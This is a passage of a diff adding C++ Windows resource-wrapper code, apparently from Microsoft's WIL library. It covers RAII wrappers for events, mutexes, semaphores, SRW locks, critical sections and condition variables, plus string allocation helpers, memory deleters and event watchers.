SlimEventType::AutoReset) + { + return ResetEvent(); + } + else + { + return is_signaled(); + } + } + + bool WaitForSignal(DWORD timeoutMiliseconds) WI_NOEXCEPT + { + LONG falseValue = FALSE; + BOOL waitResult = WaitOnAddress(&m_isSignaled, &falseValue, sizeof(m_isSignaled), timeoutMiliseconds); + __FAIL_FAST_ASSERT__(waitResult || ::GetLastError() == ERROR_TIMEOUT); + return !!waitResult; + } + + LONG m_isSignaled = FALSE; + }; + + /** An event object that will atomically revert to an unsignaled state anytime a `wait()` call succeeds (i.e. returns true). */ + using slim_event_auto_reset = slim_event_t; + + /** An event object that once signaled remains that way forever, unless `ResetEvent()` is called. */ + using slim_event_manual_reset = slim_event_t; + + /** An alias for `wil::slim_event_auto_reset`. */ + using slim_event = slim_event_auto_reset; + +#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7) + + typedef unique_any mutex_release_scope_exit; + + WI_NODISCARD inline mutex_release_scope_exit ReleaseMutex_scope_exit(_In_ HANDLE hMutex) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT__(hMutex != nullptr); + return mutex_release_scope_exit(hMutex); + } + + // For efficiency, avoid using mutexes when an srwlock or condition variable will do. + template + class mutex_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit mutex_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Exception-based constructor to create a mutex (prefer unnamed (nullptr) for the name) + mutex_t(_In_opt_ PCWSTR name) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions or fail fast; use the create method"); + create(name); + } + + void ReleaseMutex() const WI_NOEXCEPT + { + details::ReleaseMutex(storage_t::get()); + } + + WI_NODISCARD mutex_release_scope_exit ReleaseMutex_scope_exit() const WI_NOEXCEPT + { + return wil::ReleaseMutex_scope_exit(storage_t::get()); + } + + WI_NODISCARD mutex_release_scope_exit acquire(_Out_opt_ DWORD *pStatus = nullptr, DWORD dwMilliseconds = INFINITE, BOOL bAlertable = FALSE) const WI_NOEXCEPT + { + auto handle = storage_t::get(); + DWORD status = ::WaitForSingleObjectEx(handle, dwMilliseconds, bAlertable); + assign_to_opt_param(pStatus, status); + __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || (status == WAIT_OBJECT_0) || (status == WAIT_ABANDONED) || (bAlertable && (status == WAIT_IO_COMPLETION))); + return mutex_release_scope_exit(((status == WAIT_OBJECT_0) || (status == WAIT_ABANDONED)) ? handle : nullptr); + } + + // Tries to create a named mutex -- returns false if unable to do so (gle may still be inspected with return=false) + bool try_create(_In_opt_ PCWSTR name, DWORD dwFlags = 0, DWORD desiredAccess = MUTEX_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pMutexAttributes = nullptr) + { + auto handle = ::CreateMutexExW(pMutexAttributes, name, dwFlags, desiredAccess); + if (handle == nullptr) + { + return false; + } + storage_t::reset(handle); + return true; + } + + // Returns HRESULT for unique_mutex_nothrow, void with exceptions for shared_mutex and unique_mutex + result create(_In_opt_ PCWSTR name = nullptr, DWORD dwFlags = 0, DWORD desiredAccess = MUTEX_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pMutexAttributes = nullptr) + { + return err_policy::LastErrorIfFalse(try_create(name, dwFlags, desiredAccess, pMutexAttributes)); + } + + // Tries to open a named mutex -- returns false if unable to do so (gle may still be inspected with return=false) + bool try_open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | MUTEX_MODIFY_STATE, bool inheritHandle = false) + { + auto handle = ::OpenMutexW(desiredAccess, inheritHandle, name); + if (handle == nullptr) + { + return false; + } + storage_t::reset(handle); + return true; + } + + // Returns HRESULT for unique_mutex_nothrow, void with exceptions for shared_mutex and unique_mutex + result open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | MUTEX_MODIFY_STATE, bool inheritHandle = false) + { + return err_policy::LastErrorIfFalse(try_open(name, desiredAccess, inheritHandle)); + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_mutex_nothrow; + typedef unique_any_t, err_failfast_policy>> unique_mutex_failfast; +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy>> unique_mutex; +#endif + + typedef unique_any semaphore_release_scope_exit; + + WI_NODISCARD inline semaphore_release_scope_exit ReleaseSemaphore_scope_exit(_In_ HANDLE hSemaphore) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT__(hSemaphore != nullptr); + return semaphore_release_scope_exit(hSemaphore); + } + + template + class semaphore_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit semaphore_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Note that for custom-constructors the type given the constructor has to match exactly as not all implicit conversions will make it through the + // forwarding constructor. This constructor, for example, uses 'int' instead of 'LONG' as the count to ease that particular issue (const numbers are int by default). + explicit semaphore_t(int initialCount, int maximumCount, _In_opt_ PCWSTR name = nullptr, DWORD desiredAccess = SEMAPHORE_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pSemaphoreAttributes = nullptr) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions or fail fast; use the create method"); + create(initialCount, maximumCount, name, desiredAccess, pSemaphoreAttributes); + } + + void ReleaseSemaphore(long nReleaseCount = 1, _In_opt_ long *pnPreviousCount = nullptr) WI_NOEXCEPT + { + long nPreviousCount = 0; + __FAIL_FAST_ASSERT__(::ReleaseSemaphore(storage_t::get(), nReleaseCount, &nPreviousCount)); + assign_to_opt_param(pnPreviousCount, nPreviousCount); + } + + WI_NODISCARD semaphore_release_scope_exit ReleaseSemaphore_scope_exit() WI_NOEXCEPT + { + return wil::ReleaseSemaphore_scope_exit(storage_t::get()); + } + + WI_NODISCARD semaphore_release_scope_exit acquire(_Out_opt_ DWORD *pStatus = nullptr, DWORD dwMilliseconds = INFINITE, BOOL bAlertable = FALSE) WI_NOEXCEPT + { + auto handle = storage_t::get(); + DWORD status = ::WaitForSingleObjectEx(handle, dwMilliseconds, bAlertable); + assign_to_opt_param(pStatus, status); + __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || (status == WAIT_OBJECT_0) || (bAlertable && (status == WAIT_IO_COMPLETION))); + return semaphore_release_scope_exit((status == WAIT_OBJECT_0) ? handle : nullptr); + } + + // Tries to create a named event -- returns false if unable to do so (gle may still be inspected with return=false) + bool try_create(LONG lInitialCount, LONG lMaximumCount, _In_opt_ PCWSTR name, DWORD desiredAccess = SEMAPHORE_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pSemaphoreAttributes = nullptr) + { + auto handle = ::CreateSemaphoreExW(pSemaphoreAttributes, lInitialCount, lMaximumCount, name, 0, desiredAccess); + if (handle == nullptr) + { + return false; + } + storage_t::reset(handle); + return true; + } + + // Returns HRESULT for unique_semaphore_nothrow, void with exceptions for shared_event and unique_event + result create(LONG lInitialCount, LONG lMaximumCount, _In_opt_ PCWSTR name = nullptr, DWORD desiredAccess = SEMAPHORE_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pSemaphoreAttributes = nullptr) + { + return err_policy::LastErrorIfFalse(try_create(lInitialCount, lMaximumCount, name, desiredAccess, pSemaphoreAttributes)); + } + + // Tries to open the named semaphore -- returns false if unable to do so (gle may still be inspected with return=false) + bool try_open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | SEMAPHORE_MODIFY_STATE, bool inheritHandle = false) + { + auto handle = ::OpenSemaphoreW(desiredAccess, inheritHandle, name); + if (handle == nullptr) + { + return false; + } + storage_t::reset(handle); + return true; + } + + // Returns HRESULT for unique_semaphore_nothrow, void with exceptions for shared_semaphore and unique_semaphore + result open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | SEMAPHORE_MODIFY_STATE, bool inheritHandle = false) + { + return err_policy::LastErrorIfFalse(try_open(name, desiredAccess, inheritHandle)); + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_semaphore_nothrow; + typedef unique_any_t, err_failfast_policy>> unique_semaphore_failfast; +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy>> unique_semaphore; +#endif + + typedef unique_any rwlock_release_exclusive_scope_exit; + typedef unique_any rwlock_release_shared_scope_exit; + + WI_NODISCARD inline rwlock_release_exclusive_scope_exit AcquireSRWLockExclusive(_Inout_ SRWLOCK *plock) WI_NOEXCEPT + { + ::AcquireSRWLockExclusive(plock); + return rwlock_release_exclusive_scope_exit(plock); + } + + WI_NODISCARD inline rwlock_release_shared_scope_exit AcquireSRWLockShared(_Inout_ SRWLOCK *plock) WI_NOEXCEPT + { + ::AcquireSRWLockShared(plock); + return rwlock_release_shared_scope_exit(plock); + } + + WI_NODISCARD inline rwlock_release_exclusive_scope_exit TryAcquireSRWLockExclusive(_Inout_ SRWLOCK *plock) WI_NOEXCEPT + { + return rwlock_release_exclusive_scope_exit(::TryAcquireSRWLockExclusive(plock) ? plock : nullptr); + } + + WI_NODISCARD inline rwlock_release_shared_scope_exit TryAcquireSRWLockShared(_Inout_ SRWLOCK *plock) WI_NOEXCEPT + { + return rwlock_release_shared_scope_exit(::TryAcquireSRWLockShared(plock) ? plock : nullptr); + } + + class srwlock + { + public: + srwlock(const srwlock&) = delete; + srwlock(srwlock&&) = delete; + srwlock& operator=(const srwlock&) = delete; + srwlock& operator=(srwlock&&) = delete; + + srwlock() = default; + + WI_NODISCARD rwlock_release_exclusive_scope_exit lock_exclusive() WI_NOEXCEPT + { + return wil::AcquireSRWLockExclusive(&m_lock); + } + + WI_NODISCARD rwlock_release_exclusive_scope_exit try_lock_exclusive() WI_NOEXCEPT + { + return wil::TryAcquireSRWLockExclusive(&m_lock); + } + + WI_NODISCARD rwlock_release_shared_scope_exit lock_shared() WI_NOEXCEPT + { + return wil::AcquireSRWLockShared(&m_lock); + } + + WI_NODISCARD rwlock_release_shared_scope_exit try_lock_shared() WI_NOEXCEPT + { + return wil::TryAcquireSRWLockShared(&m_lock); + } + + private: + SRWLOCK m_lock = SRWLOCK_INIT; + }; + + typedef unique_any cs_leave_scope_exit; + + WI_NODISCARD inline cs_leave_scope_exit EnterCriticalSection(_Inout_ CRITICAL_SECTION *pcs) WI_NOEXCEPT + { + ::EnterCriticalSection(pcs); + return cs_leave_scope_exit(pcs); + } + + WI_NODISCARD inline cs_leave_scope_exit TryEnterCriticalSection(_Inout_ CRITICAL_SECTION *pcs) WI_NOEXCEPT + { + return cs_leave_scope_exit(::TryEnterCriticalSection(pcs) ? pcs : nullptr); + } + + // Critical sections are worse than srwlocks in performance and memory usage (their only unique attribute + // being recursive acquisition). Prefer srwlocks over critical sections when you don't need recursive acquisition. + class critical_section + { + public: + critical_section(const critical_section&) = delete; + critical_section(critical_section&&) = delete; + critical_section& operator=(const critical_section&) = delete; + critical_section& operator=(critical_section&&) = delete; + + critical_section(ULONG spincount = 0) WI_NOEXCEPT + { + // Initialization will not fail without invalid params... + ::InitializeCriticalSectionEx(&m_cs, spincount, 0); + } + + ~critical_section() WI_NOEXCEPT + { + ::DeleteCriticalSection(&m_cs); + } + + WI_NODISCARD cs_leave_scope_exit lock() WI_NOEXCEPT + { + return wil::EnterCriticalSection(&m_cs); + } + + WI_NODISCARD cs_leave_scope_exit try_lock() WI_NOEXCEPT + { + return wil::TryEnterCriticalSection(&m_cs); + } + + private: + CRITICAL_SECTION m_cs; + }; + + class condition_variable + { + public: + condition_variable(const condition_variable&) = delete; + condition_variable(condition_variable&&) = delete; + condition_variable& operator=(const condition_variable&) = delete; + condition_variable& operator=(condition_variable&&) = delete; + + condition_variable() = default; + + void notify_one() WI_NOEXCEPT + { + ::WakeConditionVariable(&m_cv); + } + + void notify_all() WI_NOEXCEPT + { + ::WakeAllConditionVariable(&m_cv); + } + + void wait(const cs_leave_scope_exit& lock) WI_NOEXCEPT + { + wait_for(lock, INFINITE); + } + + void wait(const rwlock_release_exclusive_scope_exit& lock) WI_NOEXCEPT + { + wait_for(lock, INFINITE); + } + + void wait(const rwlock_release_shared_scope_exit& lock) WI_NOEXCEPT + { + wait_for(lock, INFINITE); + } + + bool wait_for(const cs_leave_scope_exit& lock, DWORD timeoutMs) WI_NOEXCEPT + { + bool result = !!::SleepConditionVariableCS(&m_cv, lock.get(), timeoutMs); + __FAIL_FAST_ASSERT__(result || ::GetLastError() == ERROR_TIMEOUT); + return result; + } + + bool wait_for(const rwlock_release_exclusive_scope_exit& lock, DWORD timeoutMs) WI_NOEXCEPT + { + bool result = !!::SleepConditionVariableSRW(&m_cv, lock.get(), timeoutMs, 0); + __FAIL_FAST_ASSERT__(result || ::GetLastError() == ERROR_TIMEOUT); + return result; + } + + bool wait_for(const rwlock_release_shared_scope_exit& lock, DWORD timeoutMs) WI_NOEXCEPT + { + bool result = !!::SleepConditionVariableSRW(&m_cv, lock.get(), timeoutMs, CONDITION_VARIABLE_LOCKMODE_SHARED); + __FAIL_FAST_ASSERT__(result || ::GetLastError() == ERROR_TIMEOUT); + return result; + } + + private: + CONDITION_VARIABLE m_cv = CONDITION_VARIABLE_INIT; + }; + + /// @cond + namespace details + { + template struct string_allocator + { + static void* allocate(size_t /*size*/) WI_NOEXCEPT + { + static_assert(!wistd::is_same::value, "This type did not provide a string_allocator, add a specialization of string_allocator to support your type."); + return nullptr; + } + }; + } + /// @endcond + + // This string helper does not support the ansi wil string helpers + template + PCWSTR string_get_not_null(const string_type& string) + { + return string ? string.get() : L""; + } + +#ifndef MAKE_UNIQUE_STRING_MAX_CCH +#define MAKE_UNIQUE_STRING_MAX_CCH 2147483647 // max buffer size, in characters, that we support (same as INT_MAX) +#endif + + /** Copies a string (up to the given length) into memory allocated with a specified allocator returning null on failure. + Use `wil::make_unique_string_nothrow()` for string resources returned from APIs that must satisfy a memory allocation contract + that requires use of a specific allocator and free function (CoTaskMemAlloc/CoTaskMemFree, LocalAlloc/LocalFree, GlobalAlloc/GlobalFree, etc.). + ~~~ + auto str = wil::make_unique_string_nothrow(L"a string of words", 8); + RETURN_IF_NULL_ALLOC(str); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + + auto str = wil::make_unique_string_nothrow(L"a string"); + RETURN_IF_NULL_ALLOC(str); + std::wcout << L"This is " << str.get() << std::endl; // prints "This is a string" + + NOTE: If source is not null terminated, then length MUST be equal to or less than the size + of the buffer pointed to by source. + ~~~ + */ + template string_type make_unique_string_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + const wchar_t* source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + // guard against invalid parameters (null source with -1 length) + FAIL_FAST_IF(!source && (length == static_cast(-1))); + + // When the source string exists, calculate the number of characters to copy up to either + // 1) the length that is given + // 2) the length of the source string. When the source does not exist, use the given length + // for calculating both the size of allocated buffer and the number of characters to copy. + size_t lengthToCopy = length; + if (source) + { + size_t maxLength = length < MAKE_UNIQUE_STRING_MAX_CCH ? length : MAKE_UNIQUE_STRING_MAX_CCH; + PCWSTR endOfSource = source; + while (maxLength && (*endOfSource != L'\0')) + { + endOfSource++; + maxLength--; + } + lengthToCopy = endOfSource - source; + } + + if (length == static_cast(-1)) + { + length = lengthToCopy; + } + const size_t allocatedBytes = (length + 1) * sizeof(*source); + auto result = static_cast(details::string_allocator::allocate(allocatedBytes)); + + if (result) + { + if (source) + { + const size_t bytesToCopy = lengthToCopy * sizeof(*source); + memcpy_s(result, allocatedBytes, source, bytesToCopy); + result[lengthToCopy] = L'\0'; // ensure the copied string is zero terminated + } + else + { + *result = L'\0'; // ensure null terminated in the "reserve space" use case. + } + result[length] = L'\0'; // ensure the final char of the buffer is zero terminated + } + return string_type(result); + } +#ifndef WIL_NO_ANSI_STRINGS + template string_type make_unique_ansistring_nothrow( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + // guard against invalid parameters (null source with -1 length) + FAIL_FAST_IF(!source && (length == static_cast(-1))); + + if (length == static_cast(-1)) + { + length = strlen(source); + } + const size_t cb = (length + 1) * sizeof(*source); + auto result = static_cast(details::string_allocator::allocate(cb)); + if (result) + { + if (source) + { + memcpy_s(result, cb, source, cb - sizeof(*source)); + } + else + { + *result = '\0'; // ensure null terminated in the "reserve space" use case. + } + result[length] = '\0'; // ensure zero terminated + } + return string_type(result); + } +#endif // WIL_NO_ANSI_STRINGS + + /** Copies a given string into memory allocated with a specified allocator that will fail fast on failure. + The use of variadic templates parameters supports the 2 forms of make_unique_string, see those for more details. + */ + template string_type make_unique_string_failfast( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + auto result(make_unique_string_nothrow(source, length)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } + +#ifndef WIL_NO_ANSI_STRINGS + template string_type make_unique_ansistring_failfast( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT + { + auto result(make_unique_ansistring_nothrow(source, length)); + FAIL_FAST_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_NO_ANSI_STRINGS + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Copies a given string into memory allocated with a specified allocator that will throw on failure. + The use of variadic templates parameters supports the 2 forms of make_unique_string, see those for more details. + */ + template string_type make_unique_string( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCWSTR source, size_t length = static_cast(-1)) + { + auto result(make_unique_string_nothrow(source, length)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#ifndef WIL_NO_ANSI_STRINGS + template string_type make_unique_ansistring( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + PCSTR source, size_t length = static_cast(-1)) + { + auto result(make_unique_ansistring_nothrow(source, length)); + THROW_IF_NULL_ALLOC(result); + return result; + } +#endif // WIL_NO_ANSI_STRINGS +#endif // WIL_ENABLE_EXCEPTIONS + + /// @cond + namespace details + { + // string_maker abstracts creating a string for common string types. This form supports the + // wil::unique_xxx_string types. Specializations of other types like HSTRING and std::wstring + // are found in wil\winrt.h and wil\stl.h. + // This design supports creating the string in a single step or using two phase construction. + + template struct string_maker + { + HRESULT make( + _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length)) + _When_((source != nullptr) && length == static_cast(-1), _In_z_) + const wchar_t* source, + size_t length) + { + m_value = make_unique_string_nothrow(source, length); + return m_value ? S_OK : E_OUTOFMEMORY; + } + + wchar_t* buffer() { WI_ASSERT(m_value.get()); return m_value.get(); } + + // By default, assume string_type is a null-terminated string and therefore does not require trimming. + HRESULT trim_at_existing_null(size_t /* length */) { return S_OK; } + + string_type release() { return wistd::move(m_value); } + + // Utility to abstract access to the null terminated m_value of all string types. + static PCWSTR get(const string_type& value) { return value.get(); } + + private: + string_type m_value; // a wil::unique_xxx_string type. + }; + + struct SecureZeroData + { + void *pointer; + size_t sizeBytes; + SecureZeroData(void *pointer_, size_t sizeBytes_ = 0) WI_NOEXCEPT { pointer = pointer_; sizeBytes = sizeBytes_; } + operator void *() const WI_NOEXCEPT { return pointer; } + static void Close(SecureZeroData data) WI_NOEXCEPT { ::SecureZeroMemory(data.pointer, data.sizeBytes); } + }; + } + /// @endcond + + typedef unique_any secure_zero_memory_scope_exit; + + WI_NODISCARD inline secure_zero_memory_scope_exit SecureZeroMemory_scope_exit(_In_reads_bytes_(sizeBytes) void* pSource, size_t sizeBytes) + { + return secure_zero_memory_scope_exit(details::SecureZeroData(pSource, sizeBytes)); + } + + WI_NODISCARD inline secure_zero_memory_scope_exit SecureZeroMemory_scope_exit(_In_ PWSTR initializedString) + { + return SecureZeroMemory_scope_exit(static_cast(initializedString), wcslen(initializedString) * sizeof(initializedString[0])); + } + + /// @cond + namespace details + { + inline void __stdcall FreeProcessHeap(_Pre_opt_valid_ _Frees_ptr_opt_ void* p) + { + ::HeapFree(::GetProcessHeap(), 0, p); + } + } + /// @endcond + + struct process_heap_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + details::FreeProcessHeap(p); + } + }; + + struct virtualalloc_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + ::VirtualFree(p, 0, MEM_RELEASE); + } + }; + + struct mapview_deleter + { + template + void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const + { + ::UnmapViewOfFile(p); + } + }; + + template + using unique_process_heap_ptr = wistd::unique_ptr; + + typedef unique_any unique_process_heap_string; + + /// @cond + namespace details + { + template<> struct string_allocator + { + static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT + { + return ::HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, size); + } + }; + } + /// @endcond + + /** Manages a typed pointer allocated with VirtualAlloc + A specialization of wistd::unique_ptr<> that frees via VirtualFree(p, 0, MEM_RELEASE). + */ + template + using unique_virtualalloc_ptr = wistd::unique_ptr; + + /** Manages a typed pointer allocated with MapViewOfFile + A specialization of wistd::unique_ptr<> that frees via UnmapViewOfFile(p). + */ + template + using unique_mapview_ptr = wistd::unique_ptr; + +#endif // __WIL_WINBASE_ + +#if defined(__WIL_WINBASE_) && defined(__NOTHROW_T_DEFINED) && !defined(__WIL_WINBASE_NOTHROW_T_DEFINED) +#define __WIL_WINBASE_NOTHROW_T_DEFINED + // unique_event_watcher, unique_event_watcher_nothrow, unique_event_watcher_failfast + // + // Clients must include or to enable use of this class as it uses new(std::nothrow). + // This is to avoid the dependency on those headers that some clients can't tolerate. + // + // These classes makes it easy to execute a provided function when an event + // is signaled. It will create the event handle for you, take ownership of one + // or duplicate a handle provided. It supports the ability to signal the + // event using SetEvent() and SetEvent_scope_exit(); + // + // This can be used to support producer-consumer pattern + // where a producer updates some state then signals the event when done. + // The consumer will consume that state in the callback provided to unique_event_watcher. + // + // Note, multiple signals may coalesce into a single callback. + // + // Example use of throwing version: + // auto globalStateWatcher = wil::make_event_watcher([] + // { + // currentState = GetGlobalState(); + // }); + // + // UpdateGlobalState(value); + // globalStateWatcher.SetEvent(); // signal observers so they can update + // + // Example use of non-throwing version: + // auto globalStateWatcher = wil::make_event_watcher_nothrow([] + // { + // currentState = GetGlobalState(); + // }); + // RETURN_IF_NULL_ALLOC(globalStateWatcher); + // + // UpdateGlobalState(value); + // globalStateWatcher.SetEvent(); // signal observers so they can update + + /// @cond + namespace details + { + struct event_watcher_state + { + event_watcher_state(unique_event_nothrow &&eventHandle, wistd::function &&callback) + : m_callback(wistd::move(callback)), m_event(wistd::move(eventHandle)) + { + } + wistd::function m_callback; + unique_event_nothrow m_event; + // The thread pool must be last to ensure that the other members are valid + // when it is destructed as it will reference them. + unique_threadpool_wait m_threadPoolWait; + }; + + inline void delete_event_watcher_state(_In_opt_ event_watcher_state *watcherStorage) { delete watcherStorage; } + + typedef resource_policy event_watcher_state_resource_policy; + } + /// @endcond + + template + class event_watcher_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit event_watcher_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Exception-based constructors + template + event_watcher_t(unique_any_t, from_err_policy>> &&eventHandle, wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions or fail fast; use the create method"); + create(wistd::move(eventHandle), wistd::move(callback)); + } + + event_watcher_t(_In_ HANDLE eventHandle, wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions or fail fast; use the create method"); + create(eventHandle, wistd::move(callback)); + } + + event_watcher_t(wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions or fail fast; use the create method"); + create(wistd::move(callback)); + } + + template + result create(unique_any_t, event_err_policy>> &&eventHandle, + wistd::function &&callback) + { + return err_policy::HResult(create_take_hevent_ownership(eventHandle.release(), wistd::move(callback))); + } + + // Creates the event that you will be watching. + result create(wistd::function &&callback) + { + unique_event_nothrow eventHandle; + HRESULT hr = eventHandle.create(EventOptions::ManualReset); // auto-reset is supported too. + if (FAILED(hr)) + { + return err_policy::HResult(hr); + } + return err_policy::HResult(create_take_hevent_ownership(eventHandle.release(), wistd::move(callback))); + } + + // Input is an event handler that is duplicated into this class. + result create(_In_ HANDLE eventHandle, wistd::function &&callback) + { + unique_event_nothrow ownedHandle; + if (!DuplicateHandle(GetCurrentProcess(), eventHandle, GetCurrentProcess(), &ownedHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) + { + return err_policy::LastError(); + } + return err_policy::HResult(create_take_hevent_ownership(ownedHandle.release(), wistd::move(callback))); + } + + // Provide access to the inner event and the very common SetEvent() method on it. + unique_event_nothrow const& get_event() const WI_NOEXCEPT { return storage_t::get()->m_event; } + void SetEvent() const WI_NOEXCEPT { storage_t::get()->m_event.SetEvent(); } + + private: + + // Had to move this from a Lambda so it would compile in C++/CLI (which thought the Lambda should be a managed function for some reason). + static void CALLBACK wait_callback(PTP_CALLBACK_INSTANCE, void *context, TP_WAIT *pThreadPoolWait, TP_WAIT_RESULT) + { + auto pThis = static_cast(context); + // Manual events must be re-set to avoid missing the last notification. + pThis->m_event.ResetEvent(); + // Call the client before re-arming to ensure that multiple callbacks don't + // run concurrently. + pThis->m_callback(); + SetThreadpoolWait(pThreadPoolWait, pThis->m_event.get(), nullptr); // valid params ensure success + } + + // To avoid template expansion (if unique_event/unique_event_nothrow forms were used) this base + // create function takes a raw handle and assumes its ownership, even on failure. + HRESULT create_take_hevent_ownership(_In_ HANDLE rawHandleOwnershipTaken, wistd::function &&callback) + { + __FAIL_FAST_ASSERT__(rawHandleOwnershipTaken != nullptr); // invalid parameter + unique_event_nothrow eventHandle(rawHandleOwnershipTaken); + wistd::unique_ptr watcherState(new(std::nothrow) details::event_watcher_state(wistd::move(eventHandle), wistd::move(callback))); + RETURN_IF_NULL_ALLOC(watcherState); + + watcherState->m_threadPoolWait.reset(CreateThreadpoolWait(wait_callback, watcherState.get(), nullptr)); + RETURN_LAST_ERROR_IF(!watcherState->m_threadPoolWait); + storage_t::reset(watcherState.release()); // no more failures after this, pass ownership + SetThreadpoolWait(storage_t::get()->m_threadPoolWait.get(), storage_t::get()->m_event.get(), nullptr); + return S_OK; + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_event_watcher_nothrow; + typedef unique_any_t, err_failfast_policy>> unique_event_watcher_failfast; + + template + unique_event_watcher_nothrow make_event_watcher_nothrow(unique_any_t, err_policy>> &&eventHandle, wistd::function &&callback) WI_NOEXCEPT + { + unique_event_watcher_nothrow watcher; + watcher.create(wistd::move(eventHandle), wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + + inline unique_event_watcher_nothrow make_event_watcher_nothrow(_In_ HANDLE eventHandle, wistd::function &&callback) WI_NOEXCEPT + { + unique_event_watcher_nothrow watcher; + watcher.create(eventHandle, wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + + inline unique_event_watcher_nothrow make_event_watcher_nothrow(wistd::function &&callback) WI_NOEXCEPT + { + unique_event_watcher_nothrow watcher; + watcher.create(wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + + template + unique_event_watcher_failfast make_event_watcher_failfast(unique_any_t, err_policy>> &&eventHandle, wistd::function &&callback) + { + return unique_event_watcher_failfast(wistd::move(eventHandle), wistd::move(callback)); + } + + inline unique_event_watcher_failfast make_event_watcher_failfast(_In_ HANDLE eventHandle, wistd::function &&callback) + { + return unique_event_watcher_failfast(eventHandle, wistd::move(callback)); + } + + inline unique_event_watcher_failfast make_event_watcher_failfast(wistd::function &&callback) + { + return unique_event_watcher_failfast(wistd::move(callback)); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy>> unique_event_watcher; + + template + unique_event_watcher make_event_watcher(unique_any_t, err_policy>> &&eventHandle, wistd::function &&callback) + { + return unique_event_watcher(wistd::move(eventHandle), wistd::move(callback)); + } + + inline unique_event_watcher make_event_watcher(_In_ HANDLE eventHandle, wistd::function &&callback) + { + return unique_event_watcher(eventHandle, wistd::move(callback)); + } + + inline unique_event_watcher make_event_watcher(wistd::function &&callback) + { + return unique_event_watcher(wistd::move(callback)); + } +#endif // WIL_ENABLE_EXCEPTIONS + +#endif // __WIL_WINBASE_NOTHROW_T_DEFINED + +#if defined(__WIL_WINBASE_) && !defined(__WIL_WINBASE_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WINBASE_STL + typedef shared_any_t>> shared_event; + typedef shared_any_t>> shared_mutex; + typedef shared_any_t>> shared_semaphore; + typedef shared_any shared_hfile; + typedef shared_any shared_handle; + typedef shared_any shared_hfind; + typedef shared_any shared_hmodule; + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) + typedef shared_any shared_threadpool_wait; + typedef shared_any shared_threadpool_wait_nocancel; + typedef shared_any shared_threadpool_work; + typedef shared_any shared_threadpool_work_nocancel; + + typedef shared_any shared_hfind_change; +#endif + + typedef weak_any weak_event; + typedef weak_any weak_mutex; + typedef weak_any weak_semaphore; + typedef weak_any weak_hfile; + typedef weak_any weak_handle; + typedef weak_any weak_hfind; + typedef weak_any weak_hmodule; + +#if 